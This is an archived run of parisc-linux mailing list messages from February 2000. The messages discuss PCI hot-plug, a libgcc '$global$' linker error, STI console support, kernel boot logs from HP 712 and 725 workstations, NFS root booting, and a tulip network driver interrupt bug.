mm1:   I plan support for such things for Linux 2.5 -- we already have most
mm1:parts of the hot-plug architecture in the kernel (we use it for CardBus
mm1:devices).

gg2: Ok.
gg2: 
gg2: FWIW, HP's L- and N-class has HW support for PCI OL-A/R (addition/removal).
gg2: And when the OS boots, it has to configure all PCI devices except console
gg2: and boot interface (ie SCSI or 100BT networking). "PDC" (aka BIOS) has
gg2: calls to return resource layouts (irq routing, MMIO available, bus numbers,
gg2: etc). So I'm interested in the 2.5 work once parisc-linux becomes
gg2: self-hosting.

gg1: The solution I implemented in HP-UX is rather obvious: Check if we
gg1: already know about the device in the slot *before* sizing the BARs.
gg1: Not fool proof, but it seems to be working.
gg1: 
gg1: If you have any questions about PA-Risc PCI implementations, it's
gg1: very likely I can answer and would be happy to do so.


=============================================================================
gg2: Last question (for now :^): I didn't see any mention of SERR/PERR command
gg2: bits in the Documentation/pci.txt. Any thoughts on "who" (ie driver/OS
gg2: /BIOS) should be setting/clearing those bits?
gg2: (Similar thoughts on FBB?)
gg2: 
gg2: For parisc platforms, I want to set both bits by default.  Graphics
gg2: and similar adapters which just don't care could clear those bits.
gg2:
gg2: FWIW, one of the HW performance gods here in HP has concluded that FBB
gg2: just isn't that important for our boxes. The improvement was within
gg2: the "noise" level (< ~2%) of what we can measure.

mm2: Currently there exists no support for SERR/PERR in Linux, the main
mm2: reason being that many host bridges don't have any reasonable
mm2: mechanism of reporting such errors to the CPU. The current policy
mm2: is "handle SERR/PERR in machine dependent code, turn errors during
mm2: configuration space accesses to error returns of the access functions
mm2: and just log the other errors without telling the drivers anything".


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] libgcc
Date: Mon, 21 Feb 2000 17:34:52 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20000221173452.C9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618780 30529 80.91.229.3 (22 Nov 2014 01:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Mon Feb 21 16:34:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31786
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Feb 2000 16:34:07 -0700
Original-Received: (qmail 8550 invoked by uid 15267); 21 Feb 2000 22:34:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8543 invoked from network); 21 Feb 2000 22:34:53 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 21 Feb 2000 22:34:53 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA23158
	for parisc-linux@thepuffingroup.com; Mon, 21 Feb 2000 17:34:52 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6860


I've committed some changes which should allow gcc to build libgcc.a.
Compilation stops when trying to test libgcc:

Testing libgcc1.  Ignore linker warning messages.
/mnt/home/willy/cvs/gcc-build/gcc/xgcc -B/mnt/home/willy/cvs/gcc-build/gcc/ -B/home/willy/gcc/hppa1.1-linux/bin/ -I/home/willy/gcc/hppa1.1-linux/include -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -g -O2  -I./include  libgcc1-test.o -o libgcc1-test \
  -nostartfiles -nostdlib `/mnt/home/willy/cvs/gcc-build/gcc/xgcc -B/mnt/home/willy/cvs/gcc-build/gcc/ -B/home/willy/gcc/hppa1.1-linux/bin/ -I/home/willy/gcc/hppa1.1-linux/include --print-libgcc-file-name`
libgcc1-test.o: In function `main_without__main':
/mnt/home/willy/cvs/gcc-build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$global$'
collect2: ld returned 1 exit status

I don't see $global$ defined anywhere.  Is this something which ld should
be fixing-up and isn't?


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Shack <sshack@cln.etc.bc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712 STI support
Date: Mon, 21 Feb 2000 20:48:57 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <38B21539.A3D46D7@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618781 30532 80.91.229.3 (22 Nov 2014 01:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sshack@cln.etc.bc.ca  Mon Feb 21 22:48:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA01528
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Feb 2000 22:48:24 -0700
Original-Received: (qmail 6395 invoked by uid 15267); 22 Feb 2000 04:49:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6388 invoked from network); 22 Feb 2000 04:49:11 -0000
Original-Received: from learn.etc.bc.ca (142.44.5.2)
  by mailserv2.iuinc.com with SMTP; 22 Feb 2000 04:49:11 -0000
Original-Received: from cln.etc.bc.ca (24.65.187.169.bc.wave.home.com [24.65.187.169])
	by learn.etc.bc.ca (8.9.3/8.9.3) with ESMTP id UAA27252
	for <parisc-linux@thepuffingroup.com>; Mon, 21 Feb 2000 20:48:06 -0800 (PST)
Original-Sender: sshack@learn.etc.bc.ca
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6861

Hi,
    Earlier today I was looking at the Openbsd hppa porting page. I
noticed they appear to have support for the STI. I've downloaded the
source and looked at it and it seems that yes. They have some support
for the sti there. So this weeks project for me is getting that going.
They also have floppy/audio going. But STI's a higher priority in my
opinion. If anyone has any problems with this let me know.




From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libgcc
Date: Tue, 22 Feb 2000 10:12:37 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200002221512.KAA24371@hiauly1.hia.nrc.ca>
References: <20000221173452.C9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618781 30547 80.91.229.3 (22 Nov 2014 01:13:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Feb 22 09:11:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA05444
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Feb 2000 09:11:56 -0700
Original-Received: (qmail 2170 invoked by uid 15267); 22 Feb 2000 15:12:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2160 invoked from network); 22 Feb 2000 15:12:43 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Feb 2000 15:12:43 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA24371;
	Tue, 22 Feb 2000 10:12:37 -0500 (EST)
In-Reply-To: <20000221173452.C9944@thepuffingroup.com> from "willy@thepuffingroup.com" at Feb 21, 2000 05:34:52 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6863

Yes, the HP loader defines this symbol.  It is used to access global
symbols.  If you are using ELF (GNU ld), this may not be defined.  I few
months ago I hacked the milli library to add this to libgcc.a.  However,
it really should be defined by the linker.

Dave

> 
> 
> I've committed some changes which should allow gcc to build libgcc.a.
> Compilation stops when trying to test libgcc:
> 
> Testing libgcc1.  Ignore linker warning messages.
> /mnt/home/willy/cvs/gcc-build/gcc/xgcc -B/mnt/home/willy/cvs/gcc-build/gcc/ -B/home/willy/gcc/hppa1.1-linux/bin/ -I/home/willy/gcc/hppa1.1-linux/include -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -g -O2  -I./include  libgcc1-test.o -o libgcc1-test \
>   -nostartfiles -nostdlib `/mnt/home/willy/cvs/gcc-build/gcc/xgcc -B/mnt/home/willy/cvs/gcc-build/gcc/ -B/home/willy/gcc/hppa1.1-linux/bin/ -I/home/willy/gcc/hppa1.1-linux/include --print-libgcc-file-name`
> libgcc1-test.o: In function `main_without__main':
> /mnt/home/willy/cvs/gcc-build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$global$'
> collect2: ld returned 1 exit status
> 
> I don't see $global$ defined anywhere.  Is this something which ld should
> be fixing-up and isn't?
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 725/50 boot log...
Date: Tue, 22 Feb 2000 19:45:32 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <003901bf7d64$ffd1e2d0$0a14d793@esiee.fr>
References: <38B21539.A3D46D7@cln.etc.bc.ca> <20000222075737.A16202@uni-mainz.de> <20000222172949.A20225@uni-mainz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618782 30568 80.91.229.3 (22 Nov 2014 01:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:02 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Tue Feb 22 12:44:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA07116
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Feb 2000 12:44:00 -0700
Original-Received: (qmail 1790 invoked by uid 15267); 22 Feb 2000 18:44:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1775 invoked from network); 22 Feb 2000 18:44:48 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 22 Feb 2000 18:44:48 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 3E25C5733C
	for <parisc-linux@thepuffingroup.com>; Tue, 22 Feb 2000 19:44:45 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6865

I've exactly the quite same boot log with my 712/80 with the last version of
linux-2.3 and the 2 last ramdisk.bin.

Thanks for your help

Th. SIMONNET

----- Original Message -----
From: Dominik Kubla <dominik.kubla@uni-mainz.de>
To: <parisc-linux@thepuffingroup.com>
Sent: Tuesday, February 22, 2000 5:29 PM
Subject: [parisc-linux] 725/50 boot log...


> On Tue, Feb 22, 2000 at 07:57:37AM +0100, Dominik Kubla wrote:
> ...
> > They also seem to have WAX support.  We tried to netboot a 725/50 with
> > the latest images from puffin.external yesterday, which went well until
> > loading the ramdisk triggered a bug in block_dev.c (that's what it
> > reported), bootlog to follow later today.
>
> As promised here is the boot log of our attempt with that 725/50.
>
> Yours,
>   Dominik Kubla
> --
> Looking for information about professional american football in Europe?
> Then visit the independant "NFL@Europe Fan Site" at:
>             http://www-klinik.uni-mainz.de/staff/kubla/NFLE/
>


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NFS root on 715/64
Date: Wed, 23 Feb 2000 10:38:57 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0002231025570.18891-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618782 30570 80.91.229.3 (22 Nov 2014 01:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Wed Feb 23 09:38:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA13475
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Feb 2000 09:38:16 -0700
Original-Received: (qmail 13607 invoked by uid 15267); 23 Feb 2000 15:39:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13579 invoked from network); 23 Feb 2000 15:39:04 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 23 Feb 2000 15:39:04 -0000
Original-Received: (qmail 20678 invoked from network); 23 Feb 2000 15:38:56 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (dna89nwgrnqrubz0r4vi@208.132.136.2)
  by mail.calyx.net with SMTP; 23 Feb 2000 15:38:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:6866



This almost works... after adjusting the .config that was
given in the instructions to actually include the LASI ethernet
driver :), I get to the IP-Config notice, and if I turn on nfsd's
transfer logging, I can see it mount the root filesystem and transfer
sbin/init, but no output past that and it doesn't transfer sash even
/dev/console.

Now it was mentioned that the serial console was needed to
get a working shell -- has anything actually been hacked up
in the nfsroot images that prevents using the PDC (yes I 
know, it's line-by-line only) because setting up serial 
console will be rather inconvenient for me and plus I'm working
on the HIL stuff anyway so I'll want to have focus on the 
keyboard not ttyS0.

Or, should I be seeing more output as is?

--
Brian S. Julin


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 725/50 boot log...
Date: Wed, 23 Feb 2000 11:18:11 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20000223111811.L9944@thepuffingroup.com>
References: <38B21539.A3D46D7@cln.etc.bc.ca> <20000222075737.A16202@uni-mainz.de> <20000222172949.A20225@uni-mainz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618783 30575 80.91.229.3 (22 Nov 2014 01:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Dominik Kubla <dominik.kubla@uni-mainz.de>
Original-X-From: willy@thepuffingroup.com  Wed Feb 23 10:18:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA14766
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Feb 2000 10:18:02 -0700
Original-Received: (qmail 9232 invoked by uid 15267); 23 Feb 2000 16:18:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9218 invoked from network); 23 Feb 2000 16:18:51 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 23 Feb 2000 16:18:51 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA02946;
	Wed, 23 Feb 2000 11:18:12 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000222172949.A20225@uni-mainz.de>; from Dominik Kubla on Tue, Feb 22, 2000 at 05:29:49PM +0100
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id KAA14766
Xref: news.gmane.org gmane.linux.ports.parisc:6867

On Tue, Feb 22, 2000 at 05:29:49PM +0100, Dominik Kubla wrote:
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> RAMDISK: ext2 filesystem found at block 0
> RAMDISK: Loading 600 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/done.
> kernel BUG at block_dev.c:411!
> kernel BUG at block_dev.c:411!

On the A180, it continues from here:

RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 600 blocks [1 disk] into ram disk... done.
kernel BUG at block_dev.c:411!
kernel BUG at block_dev.c:411!
VFS: Mounted root (ext2 filesystem).
tty_open

(and that's the Image freshly downloaded from the ftp site).
You may wish to try to trace this further yourself...


From - Thu Nov 08 21:11:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tulip Driver Bug
Date: Wed, 23 Feb 2000 09:25:55 -0700 (MST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200002231625.JAA27870@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618783 30577 80.91.229.3 (22 Nov 2014 01:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Feb 23 10:25:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA15023
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Feb 2000 10:25:13 -0700
Original-Received: (qmail 14377 invoked by uid 15267); 23 Feb 2000 16:26:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14370 invoked from network); 23 Feb 2000 16:26:02 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 23 Feb 2000 16:26:02 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA25761
	for <parisc-linux@thepuffingroup.com>; Wed, 23 Feb 2000 09:25:55 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id JAA27870 for parisc-linux@thepuffingroup.com; Wed, 23 Feb 2000 09:25:55 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6868


I've been having reliability problems with networking on my J5000.
I tracked the problem down to this piece of code in tulip_interrupt():

    if (--work_budget < 0) {
	    if (tulip_debug > 1)
		    printk(KERN_WARNING "%s: Too much work during an interrupt, "
			       "csr5=0x%8.8x.\n", dev->name, csr5);
	    /* Acknowledge all interrupt sources. */
	    outl(0x8001ffff, ioaddr + CSR5);
	    /* Clear all interrupting sources, set timer to re-enable. */
	    outl(((~csr5) & 0x0001ebef) | AbnormalIntr | TimerInt,
		     ioaddr + CSR7);
	    outl(12, ioaddr + CSR11);
	    break;
    }

My understanding is that this code tries to defer work until later because
too many incoming packets have been handled during the current interrupt.
The problem is that there is no later. Once this code is run I stop
seeing iosapic interrupts, and a little later I get some Tx Hung messages,
one or two more interrupts, and then that is it. The bug may not actually
be in the above code, i.e. it may be in the timer re-enable that is
mentioned in the comment above.

If I ifdef the above code out, the driver is fairly reliable. I've run
tests with more than 20 sockets open simultaneously.

I believe the reason I see this problem more than others is probably due
to the fact that I am running on a fairly high traffic network, so the
machine is seeing a lot more packets. You should be able to reproduce
the problem by reducing the value of max_interrupt_work.

I could continue working on this problem to track it to root cause, but at
this point I would have to spend more time learning the driver and the
tulip hardware.  Perhaps someone with more experience with this driver
could find the problem with less effort.

I haven't tried this on another machine like an A-180 to determine if
the problem is only on iosapic based machines or if the problem is
general to all tulip based lan interfaces.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip Driver Bug
Date: Wed, 23 Feb 2000 10:22:27 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200002231822.KAA15029@milano.cup.hp.com>
References: <200002231625.JAA27870@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618783 30582 80.91.229.3 (22 Nov 2014 01:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Feb 23 12:20:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA15728
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Feb 2000 12:20:25 -0700
Original-Received: (qmail 3444 invoked by uid 15267); 23 Feb 2000 18:21:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3433 invoked from network); 23 Feb 2000 18:21:11 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Feb 2000 18:21:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 634F5BC
	for <parisc-linux@thepuffingroup.com>; Wed, 23 Feb 2000 10:21:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA15029; Wed, 23 Feb 2000 10:22:28 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 23 Feb 2000 09:25:55 PST."
             <200002231625.JAA27870@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6869

John Marvin wrote:

> My understanding is that this code tries to defer work until later because
> too many incoming packets have been handled during the current interrupt.
> The problem is that there is no later.

John,
thanks for bringing it this far.

Can someone verify the IRQ line is remains asserted?

If the IRQ line is asserted, this sounds like a problem in iosapic code.
I've seen this behavior before when iosapic_isr() didn't write the
correct value to the EOI register. I'll review the iosapic code.
But if someone could give me confidence the IRQ is asserted, I'd
appreciate it.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AUI Y-CABLE for 712
Date: Wed, 23 Feb 2000 18:17:04 -0800 (PST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200002240217.SAA02747@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618783 30584 80.91.229.3 (22 Nov 2014 01:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Feb 23 20:14:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA18355
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Feb 2000 20:14:58 -0700
Original-Received: (qmail 27483 invoked by uid 15267); 24 Feb 2000 02:15:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27475 invoked from network); 24 Feb 2000 02:15:48 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 24 Feb 2000 02:15:48 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 4B8724DE
	for <parisc-linux@thepuffingroup.com>; Wed, 23 Feb 2000 21:16:00 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id SAA02747 for parisc-linux@thepuffingroup.com; Wed, 23 Feb 2000 18:17:04 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6870

I have three RS232/LAN (A2263-66536) cards for the 712.
But I can't find the AUI Y-CABLE (A2263-62045) which would
let me (or anyone else) make use of those cards.

Can someone trade me two cables for one card?

thanks,
grant


From - Thu Nov 08 21:11:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot howto
Date: Thu, 24 Feb 2000 10:29:30 +0100
Lines: 171
Approved: news@gmane.org
Message-ID: <00c401bf7ea9$a7216660$0a14d793@esiee.fr>
References: <yq1itzr9zwt.fsf@leyland.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618784 30585 80.91.229.3 (22 Nov 2014 01:13:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:04 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>, "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: t.simonnet@esiee.fr  Thu Feb 24 03:28:19 2000
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA20783
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 03:28:18 -0700
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP
	id A3FC257363; Thu, 24 Feb 2000 10:28:42 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6871

I have a 712/60 Workstation as NFS server and a 712/80 as parisc-linux box.
I  have some trouble with nfsroot :bootp and tftp process works but
IP-Config says : IP-Config : No Network device available.

Thanks for your help

Th. SIMONNET

----- Original Message -----
From: Martin K. Petersen <mkp@mkp.net>
To: <parisc-linux@puffin.external.hp.com>
Sent: Monday, February 14, 2000 11:34 PM
Subject: [parisc-linux] nfsroot howto


>
> LINUX/PA-RISC NFSROOT HOWTO
>
> (Or how to get to a working shell prompt)
>
>
> YOU NEED:
>
> A fresh linux-2.3 checkout from CVS
>
> The .config included below
>
